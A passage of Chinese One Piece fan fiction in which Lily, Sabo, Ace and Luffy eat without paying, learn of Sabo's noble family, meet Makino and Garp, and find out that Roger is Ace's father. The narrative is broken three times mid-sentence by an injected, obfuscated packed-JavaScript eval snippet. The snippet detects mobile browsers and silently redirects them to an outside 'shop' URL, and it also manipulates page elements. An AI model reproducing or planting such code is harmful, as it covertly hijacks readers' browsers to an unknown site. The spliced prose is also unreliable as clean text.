拉面确实很好吃,我们一碗接着一碗库库狂炫,桌面上很快堆积了一大摞狼藉的空碗。如果不是路飞吃得忘乎所以,伸长他的橡胶手臂直接从服务员的托盘里抢走拉面,导致服务员发现异常叫来了店长,我感觉我们每个人还能再多吃十几碗。 “可恶,暴露了吗!”艾斯拎起还在喝汤的我跳下椅子,用钢管打碎玻璃,从四楼的窗户一跃而出。 我连忙夹紧大腿,按住往上飘飞的裙子。穿裤子不方便变身,穿裙子又不方便活动,好麻烦。 萨博拉着路飞跟在我们后面跳下窗户。 街道上的行人听见玻璃破碎的声音,纷纷驻足围观,仰头看热闹。 我们眉飞色舞地讨论着美味的拉面,在遮阳棚上卸去下坠的重力,跳到街道上拔腿逃跑。 “又是那四个小孩!他们可是惯犯啊,为什么让他们进到店里!”治安官吹响刺耳的警哨,拿着警棍追在我们身后,烦躁地大声怒吼:“别想跑!——前面的人,把那四个孩子拦住!” 我们吃霸王餐都吃成知名惯犯了吗,哈哈哈。我差点笑岔气。 人群中某个头戴高礼帽的中年贵族突然叫出了萨博的名字,声音中既有惊喜又有惊吓:“萨博?这不是萨博吗?快站住!” 跑在最前面的萨博脚步一顿,惊诧地转过头。艾斯跟着萨博停下脚步,顺着萨博的目光看过去。我猝不及防地撞上了艾斯的背,路飞又撞上了我的背,我俩滚作一团,在颠倒的视野中望向出声的那个人。 中年贵族挤出人群,向萨博遥遥伸出手:“你还活着啊,快跟我回家!” 看清楚中年贵族的面容,萨博脸上的表情转为怨怼。他吃痛似的眨了一下眼睛,左手拉起路飞,右手拉起我,强硬地拽着我们往前奔跑。 “你给我站住!!!”中年贵族提高了音量。他到底顾忌着自己的体面,没有奋力追上来。 艾斯下意识跟上萨博,他跑了几步,不明所以地回头看了一眼那个中年贵族,语气中带了点试探:“喂,萨博,刚才有人在叫你呢。” 幽暗的阴影吞噬了萨博眼中畅快的笑意,他冷声道:“大概是认错人了吧。——莉莉,路飞,别看了,快走!” 那个人的身上也装饰着不少雏菊纹章。他是萨博的……家人? * 蔚蓝的天空掠过一只只洁白的海鸥,我们来到了最近常去的海角。 艾斯和路飞开始质问萨博到底隐瞒了什么。 “干什么啊,我对你们没有任何隐瞒!”萨博摆出一副没干过亏心事的正直态度。 “呃,是吗?”路飞的语气立刻软下来,显然已经信了大半。 这种情况我是不是该躲远一点? “你以为我会信吗!萨博,快说,我们之间怎么能有秘密!——还有你莉莉,你肯定知道什么吧,别站在旁边装哑巴!”艾斯把我推向萨博那边,黑着脸步步逼近。 我被艾斯没轻没重的力道推得往后踉跄了好几步,差点摔倒。萨博赶紧过来接住我,他把我护到身后。“莉莉什么都不知道,不关她的事!我没有和她说过自己的身……”萨博慌忙捂住嘴,额头沁出大片心虚的冷汗,“糟糕,不小心说漏嘴了。” “哈,这就是你说的‘没有任何隐瞒’?!”艾斯冲过来揪住萨博的领口,火冒三丈地使劲摇晃他,“赶紧说清楚,萨博,小心我揍扁你!” 我本来想去帮萨博,路飞却拦住了我。他果然是艾斯那边的。 萨博被艾斯勒得喘不过气,只好屈从:“说,我说!我说啦,快点放手!” 艾斯放开手后,萨博靠着树干缓缓坐下,不情愿地抿紧了唇瓣。停顿了好一会儿,他才郁卒地开口坦白。 “贵族的儿子?” “谁啊?” “我啊。” “哦,那又怎么样?”艾斯和路飞兴致缺缺地问。 萨博气恼地提高音量:“不是你们让我说的吗?!” “其实我的父母都健在,我不是孤儿,也不是在不确定物终点站长大的。今天叫住我的是我的父亲。”萨博飞快地看了我一眼,闷闷不乐地垂下眼睫,“抱歉,我对你们说谎了。” 萨博倒是没有对我说过那些谎话,有几次还主动提起过他原来的生活,只是没有明确地说出他的身世。我一直以为艾斯也知道这些,结果萨博一直都瞒着艾斯自己的身世吗?等等,那艾斯这个家伙……他对萨博坦白过自己的身世吗?虽然不清楚他的身世到底是什么…… 汗流浃背了,他们怎么都有个秘密身世。还好我对这些东西不感兴趣,听过就忘到脑后,从来没有和别人提起过。 眼睛在他们俩之间来回移动了几圈,我用和事老的口吻开口:“谁都有不想说的事情,萨博这样也算不上过分吧。” 路飞其实一点都不生气,只是单纯地跟着艾斯瞎起哄。他见到萨博这幅可怜巴巴的样子,转头劝艾斯:“莉莉说得对,而且萨博都道歉了,我们就原谅他吧。” “这件事让我很惊讶。”艾斯背过身,往海角的方向走出一段距离,用疑惑不解的语气问:“萨博,你明明是贵族出生,为什么要特意跑到这种地方?” 萨博的眼神渐渐失去焦距,他露出了回忆的神色。随着回忆的深入,萨博的脸色也变得越来越灰暗,汇聚起层层浓重的阴云。 “我之所以离家出走,是因为他们喜欢的是能保住他们地位和财产的人,而不是我。” “如果不能和王族的女人结婚,我就是垃圾。为此,我每天都在上课学习,要是做的不好,父母就每天吵架。在那个家里,我就是个累赘。虽然这样说有些对不起你们——我就算有父母也是孤身一人。” “贵族们都很鄙视不确定物终点站,但是比起那座令人窒息的高镇,比起虚度未来几十年、被安排好的人生,现在这样要好得多!” 艾斯回头看向萨博,脸上已经没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222189|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了怒气。“原来是这样。” 萨博突然精神高涨,他起身握拳,振奋道:“艾斯,莉莉,路飞,我们一定要出海。离开这个国家,去自由地闯荡,周游世界!我想把见闻写成书流传下去!如果是学习航海,我一点都不觉得辛苦!让我们变得更强,成为海贼吧!” “这种事不用你说我也会做!”艾斯嘻嘻一笑,他走到海角边缘,向着波浪翻涌的大海高声说:“我要成为海贼,不停地获胜,获胜,战无不胜!去获得最高的名声!这才是我活着的证明!” 正午的太阳投下灿烂的日光,海浪拍击着崎岖不平的岩礁,雪白的泡沫四散飞溅。 “就算全世界的人都不承认我的存在,即使他们都痛恨我,我也要成为大海贼,让他们刮目相看!我不会逃避,不会输给任何人!说我可怕还是什么的都没关系,我一定要让自己的名字威震世界!” “嘻嘻嘻,好嘞。”路飞跑到艾斯身边,他深吸了一口气,发出洪亮的声音:“我啊……” 路过的海鸥仿佛也被路飞的梦想吓了一跳,从空中摔进我的怀里。 路飞发出一阵快乐的笑声。 “我还以为你要说些什么呢。”艾斯挠了挠头发,露出无奈的神色。 萨博捧着肚子哈哈大笑:“路飞,你真是太有趣了,我很期待你的未来呢。” 他们三个把脑袋转向我,目光中发射出皮卡皮卡的期待射线。 我把海鸥扔向天空,看着它越飞越远,在他们三个令人头皮发麻的凝视中努力克制住自己转身逃跑的欲望。 “我可没打算当海贼。” 话还没说完,路飞已经在叫了:“莉莉——当海贼很有趣的!” 我收回目光,对路飞做了个鬼脸:“再有趣也不当!” “我对人类向往的名声、财富和地位没有兴趣。我只想努力变得更加强大,有朝一日能够无拘无束、自由自在地在天空和大海中肆意遨游!每一天我都要尽情玩乐,享受快乐的人生,才不要当通缉犯!” “我明白你的想法了。”路飞郑重其事地点头,“那你来当我的音乐家吧,莉莉。艾斯,萨博,你们也到我的船上来吧!” “……”你根本不明白我的想法,而且一点都不在乎我的想法! 萨博和艾斯异口同声地拒绝了路飞。 路飞气鼓鼓地闹了一会儿,发现我们每个人都没有松口的打算,干脆利落地放弃了。 在那之后,艾斯拿出从达旦那里偷来的酒,斟满四个小小的酒盏。 “成为海贼的时候,我们也许不会是一艘船上的同伴。我们之间的羁绊就用结义之情来维系吧。无论在哪里干什么,这份羁绊永远不会斩断!”艾斯拿起酒盏。 “成为海贼?”我伸手拿酒盏的动作停住了。 艾斯的脑门上蹦出一个“井”字,他从后面抓住我的脖子,强行把酒盏里的酒灌进我嘴里。“不要说多余的话,给我喝下去!” 刺激性的液体滑入喉咙,我感觉像是被钝器重重撞了一下脑袋,意识如同流云一般消散,化为空荡荡的纯白。 “喂,艾斯,看你干了什么好事!”这个声音听起来有点生气。 某个人心虚又强作镇静:“谁,谁知道她连这点酒都受不了。” 有谁轻轻戳了一下我的脸颊,嘿嘿直笑:“莉莉变得好呆哦,真好玩。——你会握手吗?” “路飞,不许欺……啊,她真的伸手了。” 36. 玛琪诺和卡普 我从达旦的针线框里拿了一根针,一溜烟跑到厨房。 厨师先生正拿着汤勺搅拌锅里的炖菜,他见我进来,柔声问我是不是饿了。 “是有点饿,不过我还有别的事要做。”我踮着脚把那根针递过去,“厨师先生,麻烦帮我烤一烤这根针的针尖。” “是什么东西扎进肉里了吗?”厨师先生拿起那根针,依言照做。 针尖被灶火的高温烧得通红。在我接过针的短短几秒,针尖上的红又转为漆黑。 “不是,我有别的用途。”我摇了摇头,轻巧地跳上厨房的窗户,蹲在窗框上向厨师先生挥手。“谢谢帮忙,我走啦。” “门就在旁边吧……莉莉,不要每次都从窗户跳进跳出,窗户可没有这种功能。”身后传来厨师先生无奈的抱怨。 “我什么都没有听见哦。”笑嘻嘻地说完这句话,我跳下窗户,向后院跑去。 后院摆放了四个小木盆,里面分别装着萨博、艾斯、路飞和我的脏衣服。在我去拿针之前,他们三个都老老实实地蹲在木盆前面清洗自己的衣服。回到后院,我见到了三个互相追打的泡泡人。 “莉莉,来玩泡泡大战吧。”戴草帽的那个泡泡人向我跑过来,一边团起泡泡试图糊到我身上,一边兴奋地大声说,“我们约好了,输的人要负责洗所有人的衣服!” “啊,是这样吗。”我意味深长地笑了。 萨博徒劳地伸出手:“路飞,你等一下!” “白痴,这种游戏不能和她……” 艾斯的话还没来得及说完,我已经取得了所有泡泡的控制权,控制着它们化作一道泡泡洪流,声势浩大地奔涌流淌,将他们三个尽数吞没。 泡泡里隐隐传来路飞的呼救声。 “救,救命,我不会游泳!” “你趴在地上狗刨什么,这是泡泡不是水!”艾斯满头问号。 萨博蹲在一边观察路飞的行为,摸着下巴若有所思:“据说只要把狗举在水面上,它就会自动开始狗刨。大概就是这样的原理吧。” 路飞发现自己能够在泡泡里呼吸,也没有出现手脚无力的情况,抹了把额头上的汗水和泡泡,呼出一口气:“我还以为要被淹死了,好危险。” “这场比赛我是绝对的第一名,还剩两个胜利名次,你们加油哦。”一句话让三兄弟为我手足相残,哎嘿。 捉弄完他们,我在我的小木盆前面坐下,用针尖戳破指腹,挤出一颗血珠。 在和伯尔杰米战斗中,我发现自己可以操纵血液。借由血液凝聚而成的细针坚硬锋利,比起我那些至今没什么杀伤力的水形造物强了不止一星半点。 刚才洗衣服的时候,我脑子里灵光一闪——如果把我的血和水按照一定比例混合到一起,是不是就能凝聚出一把兼具体积和硬度的武器呢。毕竟使用血液细针当武器什么的很不便利,而且一点都不酷炫! 血珠落入水中,犹如水珠落入热油,引发了剧烈的反应。小小的水盆中突然激荡出半人高的浪潮,向我席卷而来。 肌肤消融、骨骼破碎的幻觉一一闪过脑海,我惊惧地瞪大眼睛,下意识后仰躲避。但那道浪潮却仿佛活物般拐了个弯,往我的胸口扑来。它延展成薄薄一层,从我的前胸流淌向我的后背,在地面上凝聚出类似手臂的形态,止住了我跌落的趋势。 诶,它在……保护我?它难道拥有自我意识,真的假的? “莉莉,那是什么?”萨博不知何时走了过来,手里握着钢管。原本温和无害的圆眼睛眯成带有几分戾气的形状,他警惕地注视着我身后的水形造物。 这个表情……他一定是联想到了三年前那道吞噬了我的身体,唤醒我血脉的海浪。 “是我的能力,不是什么危险的东西。”我起身站好,一边和萨博解释,一边凝神控制住水形造物,操纵它沿着我的腰流淌而上,顺着手臂游曳到指尖,最后化作一只血红的蝴蝶——我没有感受到反抗的意念,刚才大概是错觉吧。 萨博伸手触碰血色蝴蝶的翅膀,与以往不同的触感让他露出了惊讶的神色:“已经完全没有液体的感觉了,摸上去像刀刃一样,好厉害!” “毕竟是新开发的能力嘛。”我心虚地假笑了两声。我决定暂时不告诉萨博里面掺了我的血,他知道了一定会骂我,还有很大的可能不许我继续研究这个能力。艾斯也是,他不仅会骂我,还会动手揍我。他们俩是不会放任我用这种接近自残的方式开发能力的。 马古拉打开后院的门,在我们中辨认了一下,向路飞喊:“喂,路飞,门口来了两个人,一个说自己是风车村的村长,一个是叫玛琪诺的女人,他们过来看望你。” “玛琪诺,村长!”路飞将玩耍中甩到后背的帽子戴到脑袋上,惊喜地跑了出去。 ”玛琪诺?我好像听路飞提起过这个名字。”被路飞丢在泡泡堆里的艾斯挠着头想了想,“是以前照顾路飞的人。” “我也有听过玛琪诺的名字诶,去看看吧。”萨博拉住我的手,牵着我跑向门口。 艾斯拍打掉身上的泡泡,紧随其后。 萨博扒着左边的门框,好奇地往外张望;我抓着萨博的衣角,全身都藏在他背后,只有一双滴溜溜的眼睛露在外面;艾斯双手环胸,支棱着一只腿,没什么站像地背靠右边的门框,漫不经心地瞟向前方。 那个叫玛琪诺的大美人跪坐在地上,笑靥盈盈从篮子里拿出一件小衣服在路飞身上比划,说这是带给他的礼物。 路飞高兴得满眼都是小星星。 她突然朝我们这边转过头,微笑着说:“你们三个也过来吧。” 哇,我喜欢她! 我拉了拉萨博的衣角,他回头看我,脸上带着浅浅一抹红晕。看来萨博也很喜欢玛琪诺,嘿嘿。我们俩交换了一个欢快的眼神,手牵着手朝玛琪诺跑去。 艾斯因为我和萨博毫不犹豫的“背叛”瞪大了眼睛,不自在地试图叫住我们:“喂!” “你们是萨博和莉莉吧,之前听卡普老爷子提起过你们兄妹,果然都长得很可爱呢。”玛琪诺摸了摸我和萨博的脑袋,递给萨博一件浅紫色的背心,又递给我一条鹅黄色的小裙子。 我接过裙子一看,惊喜道:“哇,裙子上的口袋是小鸭子形状的耶!谢谢你,玛琪诺姐姐!” “你们试试看合不合身,要是不合适的话,我再改一改。” 蜻蜓在四周低飞盘旋,玛琪诺望向仍旧呆在门口的艾斯,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222190|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻意加重了语气,语调仍旧是活泼轻快的:“你也过来吧。” 艾斯绷紧了脸,在玛琪诺温柔的注视下僵持了一会儿,故作不屑地“切”了一声。他将双手插进裤兜,昂着下巴走到玛琪诺身边——哦,这位小酷哥的脸蛋通红呢。 玛琪诺测量着艾斯的身体尺寸,柔声道:“我听说艾斯是个坏小子,没想到却是个乖孩子呢。” “才,才没有那回事。”艾斯结结巴巴地反驳。 我没忍住吐槽:“艾斯好装哦。” 萨博喷笑:“他害羞了。” “艾斯,你的脸好红。”路飞直接指着艾斯笑话他。 我们蹲在一起哈哈大笑。 艾斯被我们的嘲笑激怒了,举起拳头对我们大吼:“你们这些家伙!” “哎呀,不要乱动。”玛琪诺苦恼地按住他。 艾斯咬着牙齿放下拳头,乖乖站着不动了,不忘小声威胁我们:“待会儿要你们好看!” 我们发出了更大的笑声,艾斯的脸也更红了,这次是气的。 * 短短一下午的时间,玛琪诺把山贼小屋收拾得干净又温馨,还做了一大桌子色香味俱全的饭菜。 我吃得头都抬不起来,满脑子都是“好吃好吃好吃”。 耳边不停传来杯盘碰撞的声音,大家都很喜欢玛琪诺的厨艺,干饭的态度非常积极。 萨博、艾斯和路飞的话题从美味的饭菜一路说到出海的顺序,他们兴致高昂地争论谁会第一个当上海贼,却浑然不觉一个高大的身影站到了他们的背后。 我抖着嘴唇,站起来大声打断他们的对话:“我决定成为一名光荣的海军,以后去卡普爷爷的狗头军舰上担当正义的伙伴!” “???”他们三个歪着脖子,用匪夷所思的眼神看向我。 达旦和山贼们也发现了那个目露寒光的高大身影,震惊地喷出了嘴里的酒水。 “咳。——还在说这种话啊,臭小子们,不明白你们将来是要成为海军的吗!” 听见这个熟悉到令人双股颤颤的声音,他们三个的脸色由红转青,惊恐得差点把眼珠子瞪出来。 “既然达旦教育不了你们,就由我来亲自动手!”卡普将双手的关节按得咔咔作响,犹如催魂曲的前奏。 “啊啊啊啊啊!” “给我站住,别想跑!”卡普像是噩梦里才会出现的大怪兽一样追在我们四个身后,挥出的拳头光是拳风就能把一棵大树折断,让我完全无法想象被正面击中会是什么惨状。 我听着身后树木轰隆倒地的声音,一边拼命往前跑,一边绝望地质问卡普:“为什么揍我的时候最用力啊,爷爷!我明明说了要当海军吧!” “你可是我们家最后的希望了,小丫头,我当然要对你最严格!放心吧,我绝对会把你训练成能够一个人揍翻他们三个的最强海军!” “???”我顿时悲愤到无法抑制,泪如泉涌。你在幻想什么啊臭老头,那种事情打死我也做不到好吗!啊啊啊不是让你真的打死我!!! “躲闪的动作太慢了!” “砰!!!” 剧烈的疼痛如同闪电般击穿了我的意识,我两眼一翻,昏死过去。 37. 出走和通缉令 阳光暖洋洋地洒落,在漆黑的视野中穿透出晃眼的白。床为什么在颠簸?我呻吟了一声,费力地掀起眼皮。 前方是路飞和萨博,他们好像在说什么和逃跑相关的话题。侧过头,是微卷的黑发,然后是点缀着小雀斑的侧脸。原来不是床在颠簸,是艾斯背着我在走路。 “你醒了啊。”艾斯转过黑眸瞥了我一眼,语带嘲讽,“未来的海军大人。” 我把脑袋重新放回艾斯的肩膀,迷迷糊糊地说:“我以后要是真成了海军,第一个就把你抓起来。” “哈?就你还想抓我,别做梦了。只要你敢当海军,我马上就把你绑到我的海贼船上,天天在你面前吃蛋糕,只给你吃白米饭。” 脑海中浮现出那个悲惨的画面,我瞬间清醒了,震惊地瞪圆眼睛:“你好过分!” “最起码肉和蔬菜要管够吧。”萨博下意识接了一句。他歪着脑袋露出思索的表情,喃喃低语:“不对,为什么要把莉莉绑到你的船上,艾斯?” 萨博伸手指向自己,义正词严地说:“要绑也是绑到我的船上!” “喂,你们干嘛绑架我的音乐家?”路飞皱起眉,露出被冒犯的表情。 所以这两个潜在绑架犯和一个自说自话的笨蛋把我带出来干嘛? 萨博简短地叙述了一下他们三个在我睡觉的时候共同作出的决定。 “离家出走?”我重复了一遍萨博的说辞,脑门隐隐作痛,“萨博,你没有忘记我们是为什么住进达旦家的吧?布鲁杰姆一伙人还在追杀我们,住在野外太不安全了。” 萨博心有余悸地摸了摸后脑勺残留的大包:“卡普爷爷的杀伤力可比布鲁杰姆一伙人大多了。” “无所谓,戈尔波山这么大,总有地方给我们容身。达旦那个臭老太婆平时没少抱怨我们给她添麻烦,我们走了才正和她的心意呢。”艾斯满不在乎地说。 “你和达旦真像,艾斯。”我感叹了一句,“她前几天还和我说,只要你再长大几岁,绝对会头也不回地从山贼小屋跑掉。” “不要把我和她相提并论!”艾斯的脚步一顿,随后他用赞同的语气开口:“那个臭老太婆倒也没有说错。” “嘴硬这一点也很像,你们俩在表达感情这方面真是笨拙得可怕啊。” 艾斯烦躁地压低眉心,声音转冷:“下来自己走。” 哼,我又不止你一只坐骑。我朝萨博伸出胳膊,娇声娇气地喊:“哥哥,我昨天被卡普爷爷揍得好惨,我不要自己走,背我啦~” 萨博从艾斯背上接过我,故意装出一副为我着想的语气,轻笑着问:“让海贼背你是不是太堕落了,不会留下人生污点吗,这位海军小小姐?” “不许再这样叫我!我只是不想挨揍,又不是真的想去当海军。”我不高兴地鼓起脸,拿脑袋撞了一下萨博的肩膀。谁知道我这么说了以后反而被卡普揍得最狠! 路飞满脸惊慌地回头看过来:“诶,你要去当海军吗,莉莉?” “反应得太慢了,你到底有多迟钝啊!” 艾斯仰头望向天空,伸手接住一颗从天而降的水珠:“下雨了。” “昨天蜻蜓飞得很低,对吧?那就是即将下雨的征兆。”我竖起食指在空气中搅和了几圈,操控着我们四个人头上的雨水旋转着凝聚到一起,延展成一顶半球形的水幕,用来代替雨伞。“你们找个地方躲雨吧。” 淅淅沥沥落下的雨滴犹如细密的银色丝线,连接起遥不可及的天与地。萨博他们在湿漉漉的草地上往前奔跑,踩踏出一朵朵晶莹的水花。十多分钟后,他们终于找到了一个可以避雨的巨大树洞。 路飞抱着膝盖坐在萨博和艾斯中间,疑惑地望向站在树洞外的我。 “莉莉,你不进来吗?” “不,我喜欢雨。”我笑着摇了摇头,举着双手在雨中快活地转了好几圈。 雨滴一颗颗坠落,沿着我身体的轮廓破碎成一层湿润的水光。被打湿的发丝没有粘黏到一起,如同浸入水中一样悠悠飘舞。 对自水中诞生的塞壬来说,水既是朋友,也是力量的源泉。 我闭上眼睛,愉快地感受着雨滴在皮肤上轻缓地流淌,从其中汲取着成长的能量。身体变得越来越轻,即使没有羽翼,我的双脚也逐渐飘离了地面。不过这种状态只能随着风雨飘摇,不能自主地控制方向。我伸展开背后的羽翼,轻盈地飞上高高的枝头,坐在上面随意地摇晃小腿,将胸腔中满溢的快乐情绪通过歌声释放出来。 “咕咕咕,水泡轻轻地飘。哗哗哗,碧水轻轻地摇。太阳从这里跳出问声你早。我们尽情遨游在这晶莹的怀抱……”心念一动,雨滴化作一只只小鲤鱼和小水母,围在我身边手牵着手翩翩起舞。 大雨过后,空气格外清新。雨滴在翠绿的叶片边缘滚动,几颗小雨滴融合成一颗大的水珠,拉扯着叶片重重往下一坠,包裹着蔚蓝如洗的天空落向地面。 萨博在附近找了一棵最高的树,说要在这里建立我们的秘密基地。他根据树冠和树枝的形状画了一张基地的设计图纸,带领我们去不确定物终点站翻找需要的材料。 从垃圾堆里找出一块宝石胸针、两副金耳环后,我找到了一张陈旧的悬赏令,上面是一个好像从鼻孔里长出了两撇胡子的海贼,赏金有55亿那么高,名字叫做哥尔多·罗杰。 居然是海贼王的悬赏令! 我抬头看了一下,发现路飞离我最近,便喊了一声他的名字,让他过来看。 路飞见了这张通缉令,激动得手舞足蹈,眼睛都在发光:“哇,是海贼王的通缉令!好帅!莉莉,可以把这个通缉令给我吗,我想贴到我的床头。” “你们捡到什么东西了?”艾斯拖着一车木板过来,伸头看了一眼路飞手上拿着的通缉令。看清楚通缉令上的海贼王,艾斯脸上的笑意瞬间消散,神色阴沉得如同风暴将至的天空。他掉头就走,没有再和我们说一句话。 我和路飞面面相觑,不明白艾斯为什么突然生气了。 “去问问萨博吧。”我提议。 路飞点了点头:“好。” 路飞拉着我跑到萨博那边,把通缉令拿给他看。 萨博也变了脸色,他做了个深呼吸,面色凝重地开口:“这个啊……” “诶?!海贼王是艾斯的爸爸!!!”我和路飞异口同声地大叫起来。 萨博严肃地告诫我和路飞:“不要在艾斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222191|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前提起这件事,要是说出来的话会被他杀掉的!” “为什么啊?”路飞愣住。 “详细情况我也不知道,总之他很讨厌罗杰。” “可那是他的爸爸吧。” 萨博低头看向我们,小礼帽的帽檐在他眼底投下一层阴影。他用冷淡的声音反问:“就算是爸爸,那又怎么样?” 不愉快的遥远回忆闪过脑海,我感同身受地咬了一下嘴唇:“我知道了,哥哥。” “这样啊,萨博的父母……”路飞大概是想到了之前萨博说起他身世时的表情,似懂非懂地点了点头。 萨博挨个摸了摸我和路飞的发顶,放柔声音给我们解释:“就算是父子,也不一定关系都很好的。” 路飞失落地垂下脑袋,踢飞路边的碎石:“难得海贼王是艾斯的爸爸呢。” 回去的路上,萨博反复警告路飞要对这件事保密,不可以乱说话。路飞信誓旦旦地拍着胸口保证自己会像平时一样,让萨博尽管放心。 路飞这个家伙百分百会说漏嘴。我不是不信任路飞,我只是太信任他搞事的天赋了。秉持着死道友不死贫道的观念,我在能遥遥看到艾斯身影的距离停住了脚步。 我惊叫了一声,动作浮夸地蹲到地上到处翻找,朝萨博和路飞挥了挥手:“我的发夹好像掉了,你们先走,我在这边找找。” 萨博茫然不解地眨巴了两下眼睛:“莉莉,我今天没给你戴发夹。” “我刚才在垃圾堆里找到的。”我早就想好了说辞,一切都在计划中(拇指)。 “那个发夹长什么样,我帮你一起找吧。”路飞朝我走过来,呆呆傻傻的橡胶脸上露出了鄙夷的表情,“你怎么丢三落四的。” 居然被笨蛋嫌弃了……我努力忍耐飙升的血压,抽搐着嘴角笑了两声:“不用,真的不用。应该就掉在附近,我一会儿就能找到,你们先过去吧。” 萨博和路飞对视了一眼,他们俩的脑袋上突然亮起一个小灯泡。 “不要走太远哦,小心遇到猛兽。”萨博叮嘱了我一句,转身走了。 路飞把手伸进裤兜,像是在找什么东西。“你带纸了……唔!” “喂!”萨博连忙跑回来捂住路飞的嘴巴,另一只胳膊锁住路飞的喉咙,拖着他快步离开。“不要说出来,莉莉会不好意思的!” “……”他们好像误会了什么。算了,就这样吧。 他们走开后,我立刻起身,几下爬上路边的大树枝干,透过层层叠叠的绿叶观察那边的状况。 萨博和路飞走到艾斯身边,气氛还算和谐。接着路飞对艾斯说了一句话,艾斯的脸色再一次阴沉下来。萨博满头大汗,惊恐得差点变形——他俩果然被艾斯揍了。 还好没和他们一起过去,不然我也要被揍。我后怕地摸了摸头顶。 一错眼的功夫,他们三个已经打了起来。 我逐渐找到了一点观赏斗鸡的趣味,从我的小兜兜里掏出几包糖果,坐下来边吃边看。 等他们三个气喘吁吁地停战,各自占据了一个角落恢复体力,我才从树枝上跳下来,装作什么都不知道地走过去,语气惊讶又无辜:“哎呀,你们这是怎么了?” 38. 糖果和我爱你 萨博坐在没完工的木头框架上,怀里抱着沾了灰尘的小礼帽,金色的脑袋上顶着两个一看就很痛的大包。他显然明白了我刚才为什么不和他们一起过来,用谴责的目光看向我。 我坏笑着对萨博眨了眨眼睛:“吃糖吗?萨博,我有专门给你留薄荷味的哦。”说完,我从兜里拿出一个叠成蝴蝶形状的小纸包,在萨博面前晃了晃。 萨博从我手里接过蝴蝶小纸包,妥协似的叹了口气:“莉莉,你真的学坏了。” “这就叫逢恶导非。”我嘿嘿一笑,去另一边给路飞糖果。 路飞鼓起腮帮子,发出委屈的哼唧:“莉莉,你老是偏心萨博。” “因为萨博是我最爱的哥哥嘛。”我说得理直气壮,毫不心虚。“而且路飞什么口味的糖果都很喜欢,没必要专门给你留特定的味道吧。” “啊,这倒是。”路飞想了想,确实是那么回事。他重新变得开心起来,让我每种味道都给他来几颗,然后把嘴巴张大到可以看到嗓子眼的夸张程度,示意我直接将糖丢进他的嘴里。 莫名其妙和路飞玩起了我丢他接的游戏。 “我去抓晚饭。”艾斯硬邦邦地丢下这句话,拿起钢管走入了暮色渐浓的森林。 “等一下,我也去。”我把所剩不多的糖果抛给路飞,匆忙跟上。 路飞欢呼着接住,仰起脖子将所有糖果一口气倒进了嘴里。 “这次别跟丢啦。”萨博在我背后喊。 “才不会。”我转头对萨博做了个鬼脸。艾斯再怎么生气都不会故意丢下我。 结果我追了十多分钟,一直没有追上艾斯。他永远走在我视野的尽头,我慢他也慢,我快他也快。这个家伙确实是不会丢下我,却也很刻意地不让我靠近他。 不就是和路飞玩上头了,忘记把他的那份糖果分给他了吗?没必要这样生气吧。 周围的大树上趴了不少夏蝉,哇啦哇啦叫个不停,吵得人心浮气躁。 我停下脚步,不走了。 艾斯也停了下来。他转身看我,不耐烦地问:“喂,怎么了?” 我从兜兜里拿出叠成猫咪形状的小纸包:“我也给你留了苹果味的糖。路飞都那样抱怨了,总不好直接拿给你吧,他会闹脾气的。——别吃醋啦。” 艾斯将目光移向我的手心,他沉默了一会儿,偏过脑袋:“谁会吃这种醋,你以为我是路飞那个白痴吗!” 我走过盛开着黄色蒲公英小花的草地,一步步来到他身前,笑眯眯地将糖果递给他:“那你会吃哪种醋?我下次注意。” 艾斯从我手中接过糖,没有说话。他垂下眼睫,安静地注视着自己掌心里装糖果的小猫纸包,眼神幽暗难明。我看到他绷紧了下颌,逐渐收拢手指,将小猫纸包压迫出沉闷的声响。 “好好尊重人家的劳动成果啦,我叠了好久呢!”我连忙抓住他的手,不让他继续使劲。 艾斯僵硬了片刻,随后顺从地放松了手指。他低声开口:“莉莉,你还有其他话想对我说吗?” 你还想听什么?我茫然地看向艾斯,想要从他那里得到一点提示:“比如?” 艾斯张开唇又合上,他好像不知道该怎么开口一样紧张地抿了抿唇,在嘴唇内侧留下一圈白痕,然后很不情愿地念出那个名字:“哥尔·D·罗杰。” “啊?”我先是迷惑地眨了眨眼睛,过了一秒才反应过来他说的是哥尔多·罗杰。我立刻退后一步,目光中露出警惕的神色:“你都揍过萨博和路飞了,还没有消气吗?” 艾斯眼中晦涩的阴影淡了很多,因为他的眼底升起了一团怒火。他吸了口气,将怒意暂时压下:“我不会因为这件事揍你!” “……”意思是会因为别的事情揍我,对吧。别以为我听不出你的潜台词混蛋! 我皱着脸冥思苦想了半天,各种奇奇怪怪的念头像是四处乱滚的毛线球,乱七八糟地缠满了整个脑海。 